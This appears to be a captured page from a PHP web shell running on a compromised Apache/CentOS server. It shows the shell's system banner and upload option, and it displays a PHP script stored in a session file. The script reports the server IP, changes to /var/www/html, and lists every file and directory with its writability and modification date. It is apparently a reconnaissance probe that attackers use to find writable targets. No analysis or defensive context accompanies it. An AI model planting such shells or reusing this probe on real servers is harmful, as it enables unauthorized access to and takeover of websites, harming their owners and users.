HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
System: Linux 825a8fd6cf8c 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User: apache (48)
PHP: 8.2.20
Disabled: NONE
Upload Files
File: /var/lib/php/session/sess_e4c130f5d91e16027ac4b669df342086
<?php echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'></head><body>";$ip = $_SERVER["SERVER_ADDR"]; if(empty($ip)) $ip = @gethostbyname($_SERVER["SERVER_NAME"]);print("<ip>$ip</ip>\n<br>");$path = "/var/www/html/";if(@chdir($path)) { $curd = $path; } else { $curd = @getcwd(); $curd = rtrim($curd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; $curd = str_replace("\\", "/", $curd); } print("\n<br>");print("Current dir: <path>$curd</path><writable>" . is_writable($curd) . "</writable>\n<br>");foreach (@glob("*") as $fn) is_dir($fn) ? print("<dir>$fn</dir><writable>" . is_writable($fn) . "</writable><date>" . @date("Y-m-d H:i:s", @filemtime($fn)) . "</date>\n<br>") : print("<file>$fn</file><size>" . filesize($fn) . "</size><writable>" . is_writable($fn) . "</writable><date>" . @date("Y-m-d H:i:s", @filemtime($fn)) . "</date>\n<br>");echo "Result:OK"; echo "</body></html>";  die;